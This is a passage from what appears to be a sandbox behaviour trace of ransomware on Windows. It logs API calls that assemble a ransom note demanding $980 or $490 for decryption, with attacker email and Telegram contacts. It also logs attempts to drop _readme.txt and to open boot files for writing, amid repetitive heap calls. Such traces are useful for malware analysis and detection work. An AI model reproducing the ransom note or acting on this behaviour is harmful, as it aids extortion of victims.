only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.942] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.942] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.942] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.942] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.942] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.942] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.942] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.942] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.942] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0124.942] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.943] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.943] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.943] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.943] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.943] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.943] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.944] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.944] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.945] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.945] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.946] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.947] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.948] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.948] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 